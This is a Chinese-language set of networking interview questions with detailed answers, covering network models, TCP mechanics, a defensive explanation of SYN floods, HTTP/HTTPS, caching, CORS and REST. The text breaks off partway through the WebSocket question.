跳转至

计算机网络面试题

计算机网络面试题图

40道网络面试高频题 + 详细解答,覆盖网络模型、TCP/UDP、HTTP/HTTPS、综合应用等核心知识点。


一、网络模型(5题)

1. OSI七层模型和TCP/IP四层模型分别是什么?它们之间有什么对应关系?

OSI七层模型(自下而上):

层次 名称 功能 协议/设备示例
第7层 应用层 为用户应用提供网络服务接口 HTTP、FTP、SMTP、DNS
第6层 表示层 数据格式转换、加密解密、压缩 SSL/TLS、JPEG、ASCII
第5层 会话层 建立、管理和终止会话 RPC、SQL、NFS
第4层 传输层 端到端的可靠数据传输 TCP、UDP
第3层 网络层 路由选择和逻辑寻址 IP、ICMP、路由器
第2层 数据链路层 帧传输、差错检测 Ethernet、交换机、网桥
第1层 物理层 比特流的物理传输 网线、光纤、集线器

TCP/IP四层模型:

层次 名称 对应OSI层 协议示例
第4层 应用层 应用层+表示层+会话层 HTTP、DNS、FTP
第3层 传输层 传输层 TCP、UDP
第2层 网际层 网络层 IP、ICMP、ARP
第1层 网络接口层 数据链路层+物理层 Ethernet、PPP

核心区别: - OSI是理论参考模型,先有模型后有协议,分层更细致但实际中未完全实现 - TCP/IP是实际使用的协议族,先有协议后有模型,更加实用 - TCP/IP将OSI的上三层合并为应用层,下两层合并为网络接口层

2. 各层常见的协议和设备有哪些?

应用层协议: - HTTP/HTTPS:超文本传输协议,Web通信的基础 - FTP:文件传输协议,用于文件上传下载 - SMTP/POP3/IMAP:邮件发送和接收协议 - DNS:域名解析协议,将域名转换为IP地址 - SSH:安全远程登录协议 - Telnet:远程终端协议(明文,不安全) - SNMP:简单网络管理协议

传输层协议: - TCP:面向连接的可靠传输协议 - UDP:无连接的不可靠传输协议

网络层协议与设备: - 协议:IP、ICMP(ping)、IGMP(组播)、OSPF、BGP - 设备:路由器(根据IP地址进行路由转发)

数据链路层协议与设备: - 协议:Ethernet、PPP、VLAN、STP - 设备:交换机(根据MAC地址进行帧转发)、网桥

物理层设备: - 集线器(Hub):广播方式转发信号 - 中继器、调制解调器 - 传输介质:双绞线、光纤、同轴电缆

3. 数据在网络中的封装和解封装过程是怎样的?

数据从发送端到接收端,经历封装(发送端)和解封装(接收端)两个过程:

发送端封装过程(自上而下):

Text Only
应用层:    [      数据(Data)       ]
               ↓ 加上TCP/UDP头
传输层:    [TCP头][     数据       ]  → 段(Segment)
               ↓ 加上IP头
网络层:    [IP头][TCP头][  数据    ]  → 包(Packet)
               ↓ 加上帧头和帧尾
数据链路层:[帧头][IP头][TCP头][数据][FCS]  → 帧(Frame)
               ↓ 转换为比特流
物理层:    01101001101010110...      → 比特(Bit)

各层添加的头部信息: - TCP头部:源端口、目的端口、序列号、确认号、标志位 - IP头部:源IP、目的IP、TTL、协议类型 - 帧头部:源MAC、目的MAC、类型 - 帧尾(FCS):帧校验序列,用于差错检测

接收端解封装过程(自下而上): 按照物理层→数据链路层→网络层→传输层→应用层的顺序,逐层去掉对应的头部,最终还原出原始数据。

4. 为什么网络要分层?分层有什么好处?

分层的原因和好处:

  1. 降低复杂度:将复杂的网络通信分解为若干个相对独立的层次,每层只关注特定的功能
  2. 模块化设计:各层之间相互独立,修改某一层的实现不影响其他层
  3. 促进标准化:每层的功能和接口有明确定义,便于不同厂商实现互操作
  4. 易于维护和升级:可以单独升级某一层的技术而不影响整体架构
  5. 便于学习和理解:系统化的知识体系便于学习
  6. 促进竞争:各层可以由不同厂商独立开发

分层的缺点: - 某些功能在多层中重复出现(如差错控制) - 过于理想化的分层可能降低效率(如OSI模型) - 层间数据传递需要额外的开销(头部封装)

5. 交换机和路由器的区别是什么?

对比维度 交换机(Switch) 路由器(Router)
工作层次 数据链路层(二层交换机) 网络层
寻址方式 基于MAC地址 基于IP地址
转发依据 MAC地址表 路由表
广播域 不隔离广播域 隔离广播域
冲突域 每个端口是独立冲突域 每个端口是独立冲突域
主要功能 局域网内帧转发 不同网络间的路由选择
速度 硬件转发,速度快 软件路由(也有硬件),相对较慢
使用场景 连接同一网络内的设备 连接不同网络

补充说明: - 三层交换机结合了交换和路由功能,可以处理IP路由 - 路由器通常还提供NAT、防火墙、VPN等功能 - 集线器(Hub)工作在物理层,所有端口共享带宽,现在已基本被交换机取代


二、TCP相关(10题)

6. 请详细描述TCP三次握手的过程?

三次握手过程:

Text Only
客户端(Client)                              服务器(Server)
  CLOSED                                      LISTEN
    |                                           |
    |-------- SYN=1, seq=x ------------------>  |
    |         (第一次握手)                       |
  SYN_SENT                                   SYN_RCVD
    |                                           |
    |<------- SYN=1,ACK=1, seq=y,ack=x+1 ----- |
    |         (第二次握手)                       |
  ESTABLISHED                                   |
    |                                           |
    |-------- ACK=1, seq=x+1, ack=y+1 -------> |
    |         (第三次握手)                       |
  ESTABLISHED                              ESTABLISHED

详细分析每一步:

第一次握手: - 客户端发送SYN报文:SYN标志位=1,初始序列号seq=x(随机生成的ISN) - 客户端状态从CLOSED变为SYN_SENT - 此时客户端表明:"我要和你建立连接,我的初始序列号是x"

第二次握手: - 服务器收到SYN后,回复SYN+ACK报文:SYN=1,ACK=1,序列号seq=y(服务器的ISN),确认号ack=x+1 - 服务器状态从LISTEN变为SYN_RCVD - ack=x+1表示:确认收到了客户端序号为x的数据,期望下一个收到序号为x+1 - 此时服务器表明:"收到你的请求了,我也要建立连接,我的初始序列号是y"

第三次握手: - 客户端收到SYN+ACK后,发送ACK报文:ACK=1,seq=x+1,ack=y+1 - 客户端状态变为ESTABLISHED,服务器收到后也变为ESTABLISHED - 第三次握手可以携带数据

为什么是三次而不是两次? - 防止已失效的连接请求到达服务器。如果只有两次,客户端发送的SYN因网络延迟很久才到达服务器,服务器会建立连接并分配资源,但客户端已经不打算连接了,造成资源浪费 - 三次握手的本质目的:确认双方的发送能力和接收能力都正常,同步双方的初始序列号

7. 请详细描述TCP四次挥手的过程?TIME_WAIT状态存在的原因?

四次挥手过程:

Text Only
客户端(Client)                              服务器(Server)
  ESTABLISHED                              ESTABLISHED
    |                                           |
    |-------- FIN=1, seq=u ------------------>  |
    |         (第一次挥手)                       |
  FIN_WAIT_1                               CLOSE_WAIT
    |                                           |
    |<------- ACK=1, seq=v, ack=u+1 ---------- |
    |         (第二次挥手)                       |
  FIN_WAIT_2                                    |
    |         (服务器继续发送剩余数据...)         |
    |                                           |
    |<------- FIN=1,ACK=1, seq=w, ack=u+1 ---- |
    |         (第三次挥手)                       |
  TIME_WAIT                                LAST_ACK
    |                                           |
    |-------- ACK=1, seq=u+1, ack=w+1 -------> |
    |         (第四次挥手)                       |
  TIME_WAIT(等待2MSL)                       CLOSED
    |                                           |
  CLOSED

为什么是四次而不是三次? - TCP是全双工通信,每个方向需要单独关闭 - 当客户端发送FIN时,仅表示客户端不再发送数据,但还可以接收数据 - 服务器收到FIN后先回ACK确认,此时可能还有数据需要发送给客户端 - 待服务器数据发送完毕后,再发送FIN表示也不再发送数据 - 因此需要四次而非三次(ACK和FIN不能合并,因为中间可能还有数据要发)

TIME_WAIT状态存在的原因(等待2MSL):

MSL(Maximum Segment Lifetime)是报文最大生存时间,通常为30秒到2分钟。

  1. 确保最后的ACK能到达服务器:如果最后的ACK丢失,服务器会重发FIN,客户端需要在TIME_WAIT期间能重新发送ACK
  2. 确保旧连接的重复报文在网络中消失:等待2MSL后,本连接的所有报文都会从网络中消失,防止新连接收到旧连接的报文

TIME_WAIT过多的问题和解决: - 每个TIME_WAIT占用一个端口和内存,大量TIME_WAIT会影响新连接建立 - 解决方案: - 设置SO_REUSEADDR允许端口复用 - 调整内核参数tcp_tw_reusetcp_tw_recycle(注意:tcp_tw_recycle在NAT环境下有问题) - 减小tcp_fin_timeout的值

8. TCP和UDP有什么区别?各自的应用场景是什么?

对比维度 TCP UDP
连接方式 面向连接(三次握手) 无连接
可靠性 可靠传输(确认、重传、排序) 不可靠传输
有序性 保证数据有序到达 不保证有序
速度 相对较慢(有控制开销) 速度快(开销小)
传输方式 面向字节流 面向数据报
拥塞控制 有(慢启动、拥塞避免等)
流量控制 有(滑动窗口)
头部大小 20-60字节 8字节
广播/组播 不支持 支持
传输模式 一对一 一对一、一对多、多对多
适用场景 要求可靠传输 实时性要求高、允许丢包

TCP应用场景: - HTTP/HTTPS(Web浏览) - FTP(文件传输) - SMTP/POP3(邮件) - SSH(远程登录) - 数据库连接

UDP应用场景: - DNS查询(短报文,快速响应) - 视频/音频流媒体 - 在线游戏 - DHCP(动态IP分配) - SNMP(网络管理) - VoIP(网络电话)

9. TCP如何保证可靠传输?

TCP通过以下机制保证可靠传输:

1. 校验和(Checksum) - TCP头部包含校验和字段,覆盖TCP头部和数据 - 发送方计算校验和,接收方验证,不一致则丢弃报文

2. 序列号(Sequence Number) - 每个字节都有唯一的序列号 - 接收方可以根据序列号对失序的报文进行排序 - 也可以检测到重复的报文并丢弃

3. 确认应答(ACK) - 接收方收到数据后发送ACK,确认号表示期望收到的下一个字节的序列号 - 发送方通过ACK知道数据已成功到达

4. 超时重传(Timeout Retransmission) - 发送方发送数据后启动计时器 - 如果超时未收到ACK,则重传数据 - 超时时间(RTO)根据RTT动态计算

5. 流量控制(Flow Control) - 使用滑动窗口机制 - 接收方在ACK中通告自己的接收窗口大小(rwnd) - 发送方发送量不超过接收方窗口大小 - 防止发送方发送过快导致接收方缓冲区溢出

Text Only
发送方窗口:
|--已发送已确认--|--已发送未确认--|--允许发送未发送--|--不允许发送--|
               ^                                  ^
           窗口左边界                          窗口右边界

6. 拥塞控制(Congestion Control) - 防止过多数据注入网络导致网络拥塞 - 包括慢启动、拥塞避免、快重传、快恢复四种算法 - 使用拥塞窗口(cwnd)控制发送速率

7. 连接管理 - 三次握手建立可靠连接 - 四次挥手安全释放连接

10. TCP拥塞控制的四种算法是什么?请详细说明。

核心概念: - 拥塞窗口(cwnd):发送方维护的窗口,控制发送速率 - 慢启动门限(ssthresh):慢启动阈值,初始值通常较大 - 实际发送窗口 = min(cwnd, rwnd)

1. 慢启动(Slow Start)

Text Only
cwnd初始值 = 1 MSS
每收到一个ACK: cwnd = cwnd + 1 MSS
效果: 每经过一个RTT, cwnd翻倍 (指数增长)

cwnd变化: 1 → 2 → 4 → 8 → 16 → ... → ssthresh
当cwnd >= ssthresh时,切换到拥塞避免

2. 拥塞避免(Congestion Avoidance)

Text Only
当cwnd >= ssthresh后启动
每经过一个RTT: cwnd = cwnd + 1 MSS (线性增长)

cwnd变化: ssthresh → ssthresh+1 → ssthresh+2 → ...
直到检测到拥塞(丢包)

3. 快重传(Fast Retransmit)

Text Only
当发送方连续收到3个重复ACK时:
- 立即重传丢失的报文,无需等待超时
- 这样减少了等待超时重传的时间

示例:
发送 1,2,3,4,5  其中3丢失
收到 ACK2, ACK2, ACK2 (3个重复ACK)
立即重传报文3

4. 快恢复(Fast Recovery)

Text Only
收到3个重复ACK后:
1. ssthresh = cwnd / 2
2. cwnd = ssthresh + 3 (加3是因为收到了3个重复ACK)
3. 进入拥塞避免阶段(线性增长)

如果是超时事件:
1. ssthresh = cwnd / 2
2. cwnd = 1 MSS
3. 重新进入慢启动阶段

完整过程示意图:

Text Only
cwnd
  |          超时
  |         /丢包          3个重复ACK
  |        /    |              |
  |       /     |  快恢复      |
  |      / 拥塞  | /          |
  |     / 避免   |/ 拥塞      |
  |    /  (线性) |  避免      |
  |   /         |  (线性)     |
  |  / 慢启动   |             |
  | / (指数)    |             |
  |/____________|_____________|____> 时间
     ssthresh    新ssthresh

11. 什么是TCP粘包和拆包?如何解决?

粘包和拆包的概念:

TCP是面向字节流的协议,没有消息边界的概念。发送方发送的多个数据包可能被TCP合并成一个大包发送(粘包),或者一个大包被拆分成多个小包发送(拆包)。

粘包/拆包场景:

Text Only
发送方发送了两个数据包 D1 和 D2

正常情况: |--D1--|  |--D2--|  (两次接收)

粘包:     |--D1--D2--|         (一次接收到D1+D2)

拆包:     |--D1的前半--|  |--D1的后半--D2--|  (D1被拆开)

粘包+拆包: |--D1--D2的前半--|  |--D2的后半--|

产生原因:

粘包原因: 1. 发送方:Nagle算法将小包合并发送 2. 接收方:应用层读取缓冲区数据不及时,多个包堆积在缓冲区

拆包原因: 1. 发送的数据大于TCP发送缓冲区剩余空间 2. 发送的数据大于MSS(最大报文段长度)

解决方案:

方案1:固定长度

Python
# 每个消息固定为100字节,不足则填充
message = data.ljust(100, b'\x00')

方案2:分隔符

Python
# 使用特殊分隔符(如\r\n)
message = data + b'\r\n'
# 接收方按分隔符切割

方案3:长度前缀(推荐)

Python
import struct
# 发送时:先发4字节长度头,再发数据
length = len(data)
header = struct.pack('!I', length)  # 4字节大端序
send(header + data)

# 接收时:先读4字节获取长度,再读取对应长度数据
header = recv(4)
length = struct.unpack('!I', header)[0]
data = recv(length)

方案4:使用更高层协议 - HTTP协议中的Content-Length头部 - Protobuf等序列化框架 - WebSocket的帧定义

12. Nagle算法是什么?为什么有时需要关闭它?

Nagle算法原理:

Nagle算法用于减少网络中小包(tinygram)的数量,提高网络利用率。

算法规则: - 如果有已发送但未确认的数据,那么小数据包(小于MSS)会被缓存起来 - 等到收到前一个数据的ACK,或者缓存的数据达到MSS大小,才会发送 - 第一个小包可以立即发送

Python
伪代码
if 有数据要发送:
    if 数据大小 >= MSS:
        立即发送
    elif 没有未确认的数据:
        立即发送
    else:
        将数据缓存起来等待ACK或数据达到MSS

优点: 减少小包数量,提高带宽利用率

需要关闭Nagle算法的场景: 1. 实时性要求高的场景:在线游戏、SSH交互、远程桌面 2. 与延迟ACK(Delayed ACK)冲突:TCP默认会延迟发送ACK(等40-200ms或等到有数据一起发),和Nagle算法结合会导致额外延迟 3. HTTP请求:先发header再发body,Nagle会等header的ACK

关闭方法:

C
// 设置TCP_NODELAY选项
int flag = 1;
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &flag, sizeof(flag));

13. TCP Keep-Alive机制是什么?

TCP Keep-Alive(保活机制):

用于检测长时间空闲的TCP连接是否仍然有效。

工作原理: 1. 当TCP连接在一段时间内没有数据传输时,启用Keep-Alive的一方会发送探测报文 2. 如果对方正常响应ACK,说明连接有效,重置计时器 3. 如果多次探测无响应,则认为连接已断开,关闭连接

Linux系统下的三个参数:

Bash
# 空闲多久后开始发送探测包(默认7200秒=2小时)
net.ipv4.tcp_keepalive_time = 7200

# 探测包的发送间隔(默认75秒)
net.ipv4.tcp_keepalive_intvl = 75

# 最多发送几次探测包(默认9次)
net.ipv4.tcp_keepalive_probes = 9

应用层Keep-Alive vs TCP Keep-Alive:

维度 TCP Keep-Alive 应用层心跳
层次 传输层 应用层
灵活性 参数固定(系统级) 可自定义频率和内容
功能 仅检测连接是否存活 可以携带业务数据
默认 通常关闭 需要自行实现
示例 TCP保活探测 WebSocket ping/pong

为什么要使用Keep-Alive? - 检测死连接(对端崩溃、网络中断) - 防止NAT/防火墙超时关闭空闲连接 - 及时释放已失效连接的资源

14. TCP的滑动窗口机制是如何工作的?

滑动窗口的作用: - 实现流量控制,防止发送方发送过快 - 提高传输效率,允许一次发送多个报文段而不必逐一等待确认

发送方滑动窗口:

Text Only
     已确认    已发送未确认    可发送      不可发送
  |---------|-------------|---------|----------->
  ^         ^             ^         ^
  |     SND.UNA      SND.NXT    SND.UNA+SND.WND

  SND.UNA: Send Unacknowledged, 最早未确认的序号
  SND.NXT: Send Next, 下一个要发送的序号
  SND.WND: Send Window, 发送窗口大小

接收方滑动窗口:

Text Only
     已确认交付     接收窗口内      不可接收
  |-------------|-------------|----------->
  ^             ^             ^
              RCV.NXT    RCV.NXT+RCV.WND

  RCV.NXT: 期望收到的下一个序号
  RCV.WND: 接收窗口大小

窗口滑动过程: 1. 发送方在窗口范围内连续发送多个报文 2. 收到ACK后,窗口左边界右移,滑动窗口向前 3. 接收方通过ACK携带的窗口大小(rwnd)通告发送方可发送的数据量 4. 发送方实际窗口 = min(cwnd, rwnd)

零窗口问题: - 接收方缓冲区满时,通告rwnd=0,发送方停止发送 - 发送方启动持续计时器,定期发送窗口探测报文 - 接收方处理部分数据后,通告新的rwnd值

15. SYN Flood攻击是什么?如何防御?

SYN Flood攻击原理:

攻击者伪造大量不存在的源IP地址,不断向服务器发送SYN报文。服务器为每个SYN分配资源并回复SYN+ACK,但由于源IP是伪造的,永远收不到第三次握手的ACK,导致大量半连接占用服务器资源(半连接队列溢出),正常用户无法建立连接。

Text Only
攻击者(伪造IP) → SYN → 服务器
                      ← SYN+ACK → (发到伪造IP,无响应)
                      等待ACK... (超时重试,占用资源)

攻击者(伪造IP) → SYN → 服务器
                      ← SYN+ACK → (发到伪造IP,无响应)
                      等待ACK... (半连接队列逐渐满)

防御方法:

1. SYN Cookie - 服务器收到SYN时不分配资源,不加入半连接队列 - 根据源IP、端口、时间戳等信息计算一个Cookie作为ISN放入SYN+ACK - 收到第三次ACK时验证Cookie有效性,有效才分配资源 - Linux: net.ipv4.tcp_syncookies = 1

2. 增大半连接队列

Bash
net.ipv4.tcp_max_syn_backlog = 65535

3. 减少SYN+ACK重试次数

Bash
net.ipv4.tcp_synack_retries = 1  # 默认5次

4. 防火墙/IDS限流 - 限制同一IP的SYN速率 - 检测异常SYN流量并过滤

5. 使用CDN/负载均衡 - 将流量分散到多台服务器


三、HTTP相关(12题)

16. HTTP/1.0、HTTP/1.1、HTTP/2.0、HTTP/3.0有什么区别?

特性 HTTP/1.0 HTTP/1.1 HTTP/2.0 HTTP/3.0
年份 1996 1997 2015 2022
连接方式 短连接 持久连接(默认) 多路复用 基于QUIC
传输协议 TCP TCP TCP UDP(QUIC)
管线化 不支持 支持(但有队头阻塞) 多路复用解决 无队头阻塞
头部压缩 HPACK压缩 QPACK压缩
服务器推送 不支持 不支持 支持 支持
传输格式 文本 文本 二进制帧 二进制帧

HTTP/1.1 改进: - 默认持久连接(Connection: keep-alive) - 管线化:可以连续发送多个请求不必等待响应(但响应必须按序返回,有队头阻塞) - 新增缓存控制(Cache-Control、ETag) - 支持断点续传(Range请求头) - 新增Host头部支持虚拟主机

HTTP/2.0 改进: - 多路复用:一个TCP连接上可以并行发送多个请求和响应,彻底解决HTTP层队头阻塞 - 二进制分帧:将HTTP消息分解为帧(HEADERS帧和DATA帧),二进制编码更高效 - 头部压缩:HPACK算法,维护静态表和动态表,压缩头部 - 服务器推送:服务器可以主动推送资源给客户端 - 流优先级:可以设置请求的优先级

HTTP/3.0 改进: - 基于QUIC协议:使用UDP替代TCP,QUIC在UDP上实现可靠传输 - 解决TCP队头阻塞:TCP层面丢包会阻塞所有流,QUIC独立处理每个流 - 0-RTT/1-RTT建连:QUIC握手更快,首次1-RTT,后续0-RTT - 连接迁移:使用连接ID标识连接,网络切换(如WiFi→4G)时连接不中断

17. HTTPS的原理是什么?SSL/TLS握手过程是怎样的?

HTTPS = HTTP + SSL/TLS

为什么需要HTTPS?HTTP的三个安全问题: 1. 窃听风险:明文传输,数据可被监听 2. 篡改风险:数据可被中间人修改 3. 冒充风险:无法验证通信方身份

HTTPS如何解决这三个问题: 1. 加密:混合加密(非对称加密交换密钥 + 对称加密传输数据) 2. 完整性:消息认证码(MAC)/数字签名 3. 认证:数字证书(CA机构签发)

SSL/TLS握手完整过程(以TLS 1.2为例):

Text Only
客户端                                          服务器
  |                                               |
  |--- 1. ClientHello --------------------------> |
  |    (TLS版本, 支持的加密套件列表,               |
  |     客户端随机数Client Random)                 |
  |                                               |
  |<-- 2. ServerHello --------------------------- |
  |    (选定的TLS版本, 加密套件,                   |
  |     服务器随机数Server Random)                 |
  |                                               |
  |<-- 3. Certificate --------------------------- |
  |    (服务器的数字证书,含公钥)                   |
  |                                               |
  |<-- 4. ServerHelloDone ----------------------- |
  |                                               |
  | 5. 客户端验证证书(证书链→CA根证书)              |
  |                                               |
  |--- 6. ClientKeyExchange --------------------> |
  |    (用服务器公钥加密的Pre-Master Secret)        |
  |                                               |
  | 7. 双方根据三个随机数生成会话密钥:               |
  |    Master Secret = PRF(Pre-Master Secret,      |
  |                    Client Random,              |
  |                    Server Random)              |
  |                                               |
  |--- 8. ChangeCipherSpec ---------------------> |
  |    (通知切换到加密通信)                         |
  |                                               |
  |--- 9. Finished (加密的验证数据) -------------> |
  |                                               |
  |<-- 10. ChangeCipherSpec ---------------------- |
  |<-- 11. Finished (加密的验证数据) ------------- |
  |                                               |
  |===== 使用会话密钥进行对称加密通信 ============= |

为什么用混合加密? - 非对称加密(如RSA)安全但很慢 - 对称加密(如AES)快但密钥分发困难 - 混合方案:用非对称加密安全地交换对称密钥,然后用对称加密传输数据

18. HTTP状态码有哪些?分别代表什么含义?

状态码分类:

类别 范围 含义
1xx 100-199 信息性(请求已接收,继续处理)
2xx 200-299 成功
3xx 300-399 重定向
4xx 400-499 客户端错误
5xx 500-599 服务器错误

常用状态码详解:

2xx 成功: - 200 OK:请求成功 - 201 Created:资源创建成功(通常用于POST/PUT) - 204 No Content:请求成功但无响应体(通常用于DELETE) - 206 Partial Content:部分内容(断点续传,Range请求)

3xx 重定向: - 301 Moved Permanently:永久重定向(搜索引擎更新URL,浏览器缓存) - 302 Found:临时重定向(搜索引擎不更新URL) - 304 Not Modified:资源未修改(协商缓存命中,使用本地缓存) - 307 Temporary Redirect:临时重定向(不改变请求方法) - 308 Permanent Redirect:永久重定向(不改变请求方法)

4xx 客户端错误: - 400 Bad Request:请求语法错误 - 401 Unauthorized:需要认证(未登录) - 403 Forbidden:拒绝访问(已认证但无权限) - 404 Not Found:资源不存在 - 405 Method Not Allowed:方法不被允许 - 408 Request Timeout:请求超时 - 413 Payload Too Large:请求体过大 - 429 Too Many Requests:请求频率过高(限流)

5xx 服务器错误: - 500 Internal Server Error:服务器内部错误 - 502 Bad Gateway:网关/代理收到无效响应 - 503 Service Unavailable:服务暂不可用(过载或维护) - 504 Gateway Timeout:网关/代理超时

19. GET和POST有什么区别?

对比维度 GET POST
语义 获取资源 提交数据/创建资源
参数位置 URL查询字符串 请求体(Body)
参数长度 受URL长度限制(通常2KB-8KB) 理论上无限制
安全性 参数暴露在URL中, 不安全 相对安全(但明文传输仍不安全)
幂等性 幂等(多次请求结果相同) 非幂等(多次提交可能产生不同结果)
缓存 可被缓存 一般不缓存
书签 可以保存为书签 不可以
浏览器历史 参数保留在历史记录 参数不保留
编码类型 application/x-www-form-urlencoded 支持多种编码(form-data, json等)
TCP包 取决于TCP实现和数据大小,与HTTP方法无关 取决于TCP实现和数据大小,与HTTP方法无关
后退/刷新 无害 数据会重新提交(浏览器提示)

重要澄清: - GET和POST的区别主要是语义约定上的,从技术实现角度,GET也可以有Body,POST也可以用URL参数 - 所谓GET比POST不安全,仅指参数在URL中可见,但如果不用HTTPS,两者都不安全 - RFC规范中GET是安全且幂等的,POST不是

20. Cookie、Session、Token和JWT有什么区别?

Cookie: - 存储在客户端(浏览器)的小型文本数据 - 由服务器通过Set-Cookie响应头设置 - 浏览器后续请求会自动携带Cookie - 受同源策略限制 - 存储大小限制约4KB - 有安全隐患(CSRF攻击)

Session: - 存储在服务器端的会话数据 - 通过Session ID标识用户(Session ID通常存在Cookie中) - 服务器需要维护Session存储(内存/Redis/数据库) - 安全性优于Cookie(敏感数据在服务端) - 缺点:分布式环境下需要Session共享(Session Sticky/Redis集中存储)

Token: - 无状态的认证凭证 - 服务器生成Token返回给客户端,客户端自行存储 - 请求时通过Authorization头携带Token - 服务器验证Token有效性,无需存储会话状态 - 适合分布式系统、移动端、API认证

JWT(JSON Web Token): - Token的一种标准实现 - 由三部分组成:Header.Payload.Signature

Text Only
// Header
{
  "alg": "HS256",  // 签名算法
  "typ": "JWT"
}

// Payload(声明)
{
  "sub": "user123",    // 用户ID
  "name": "张三",      // 用户名
  "iat": 1516239022,   // 签发时间
  "exp": 1516325422    // 过期时间
}

// Signature
HMACSHA256(
  base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
  secret
)

最终JWT: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.abc123signature

对比总结:

维度 Cookie Session Token/JWT
存储位置 客户端 服务端 客户端
有状态/无状态 有状态 无状态
跨域 不支持 不支持 支持
分布式支持 需额外处理 天然支持
安全性 较低 较高 较高
移动端支持 一般

21. HTTP缓存机制是怎样的?强缓存和协商缓存如何工作?

HTTP缓存分为两类:强缓存和协商缓存

强缓存(不与服务器通信,直接使用本地缓存):

头部 说明 优先级
Expires 绝对过期时间(HTTP/1.0),受客户端时钟影响
Cache-Control 相对过期时间(HTTP/1.1),更可靠

Cache-Control常用指令: - max-age=3600:缓存有效期3600秒 - no-cache:不使用强缓存,每次都要协商 - no-store:完全不缓存 - public:可被代理/CDN缓存 - private:仅浏览器可缓存 - s-maxage:代理服务器缓存时间

协商缓存(与服务器通信确认缓存是否有效):

方式1:Last-Modified / If-Modified-Since

Text Only
首次请求:
Response: Last-Modified: Thu, 01 Jan 2024 00:00:00 GMT

再次请求:
Request:  If-Modified-Since: Thu, 01 Jan 2024 00:00:00 GMT
Response: 304 Not Modified (未修改) 或 200 OK + 新内容

方式2:ETag / If-None-Match(优先级更高)

Text Only
首次请求:
Response: ETag: "abc123"

再次请求:
Request:  If-None-Match: "abc123"
Response: 304 Not Modified (ETag一致) 或 200 OK + 新内容

ETag vs Last-Modified: - Last-Modified精度为秒,1秒内多次修改无法感知 - 文件只是打开但没修改,Last-Modified也会变化 - ETag基于内容生成哈希,更精确 - ETag优先级高于Last-Modified

完整缓存判断流程:

Text Only
浏览器请求资源
 ├── 有缓存?
 │    ├── 否 → 向服务器请求
 │    └── 是 → 强缓存是否过期?
 │         ├── 否(Cache-Control未过期) → 使用缓存 (200 from cache)
 │         └── 是 → 协商缓存
 │              ├── 带上ETag/Last-Modified请求服务器
 │              ├── 资源未修改 → 304 Not Modified, 使用本地缓存
 │              └── 资源已修改 → 200 OK, 返回新资源

22. CORS跨域的原理是什么?如何解决跨域问题?

同源策略: 浏览器的安全策略,限制不同源(协议、域名、端口任一不同)的页面之间互相访问资源。

CORS(Cross-Origin Resource Sharing): 服务器通过设置HTTP响应头,允许指定的跨域请求。

简单请求 vs 预检请求:

简单请求(满足以下全部条件): - 方法:GET / HEAD / POST - Content-Type:text/plain、multipart/form-data、application/x-www-form-urlencoded - 没有自定义头部

预检请求(不满足简单请求条件): - 浏览器先发送OPTIONS预检请求 - 服务器返回允许的方法、头部等信息 - 浏览器检查通过后再发送实际请求

Text Only
# 预检请求
OPTIONS /api/data
Origin: https://example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

# 预检响应
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400  # 预检结果缓存时间

解决跨域的方案:

1. CORS(推荐)

Python
# 服务器端设置响应头
Access-Control-Allow-Origin: https://example.com  # 或 * 允许所有
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true  # 允许携带Cookie

2. 反向代理(Nginx)

Nginx Configuration File
server {
    location /api/ {
        proxy_pass http://backend-server/;
    }
}

3. JSONP(仅支持GET,已过时)

HTML
<script src="https://api.example.com/data?callback=handleData"></script>

4. WebSocket(不受同源策略限制)

23. RESTful API设计的核心原则是什么?

REST(Representational State Transfer)核心原则:

1. 资源标识(URI设计)

Text Only
# 好的设计
GET    /api/users          # 获取用户列表
GET    /api/users/123      # 获取特定用户
POST   /api/users          # 创建用户
PUT    /api/users/123      # 更新用户(全量)
PATCH  /api/users/123      # 更新用户(部分)
DELETE /api/users/123      # 删除用户

# 嵌套资源
GET    /api/users/123/orders     # 获取用户的订单
GET    /api/users/123/orders/456 # 获取特定订单

# 不好的设计
GET /api/getUser?id=123
POST /api/deleteUser
GET /api/getUserOrderList

2. HTTP方法语义

方法 语义 幂等 安全
GET 获取资源
POST 创建资源
PUT 全量更新
PATCH 部分更新
DELETE 删除资源

3. 状态码使用 - 200:成功 - 201:创建成功 - 204:删除成功 - 400:参数错误 - 401:未认证 - 403:无权限 - 404:资源不存在 - 500:服务器错误

4. 统一响应格式

JSON
{
  "code": 200,
  "message": "success",
  "data": {
    "id": 123,
    "name": "张三"
  }
}

5. 版本控制

Text Only
/api/v1/users
/api/v2/users

6. 分页、过滤、排序

Text Only
GET /api/users?page=1&size=20&sort=created_at&order=desc&name=张

24. HTTP/2的多路复用是如何解决HTTP/1.1队头阻塞问题的?

HTTP/1.1的队头阻塞问题:

HTTP/1.1的管线化允许在一个TCP连接上发送多个请求,但响应必须按照请求的顺序返回。如果第一个请求的响应很慢,后面的响应都会被阻塞。

Text Only
HTTP/1.1管线化:
请求:  Req1 → Req2 → Req3
响应:  Res1(慢) ← (Res2和Res3被阻塞)

实际上浏览器通常不启用管线化,而是开6-8个TCP连接并行

HTTP/2多路复用解决方案:

HTTP/2引入了帧(Frame)流(Stream)的概念:

  • :最小传输单位,包含帧头(标识属于哪个流)和帧数据
  • :一个完整的请求-响应对应一个流,每个流有唯一ID
  • 多个流可以在同一个TCP连接上交叉传输
Text Only
HTTP/2 多路复用:
一个TCP连接:
  |--Frame(Stream1)--|--Frame(Stream2)--|--Frame(Stream1)--|
  |--Frame(Stream3)--|--Frame(Stream1)--|--Frame(Stream2)--|

Stream1: Request1的帧
Stream2: Request2的帧
Stream3: Request3的帧
各流独立,互不阻塞

但HTTP/2仍有TCP层面的队头阻塞: - HTTP/2的多个流共用一个TCP连接 - TCP是保证有序的,如果底层TCP丢了一个包,所有流都会被阻塞等待重传 - 这就是为什么HTTP/3改用基于UDP的QUIC协议

25. 什么是WebSocket?它和HTTP的关系是什么?

WebSocket协议: - 在单个TCP连接上提供全双工通信 - 客户端和服务器可以主动向对方发送消息 - 建立在HTTP协议之上(通过HTTP升级握手)

WebSocket握手过程:

Text Only
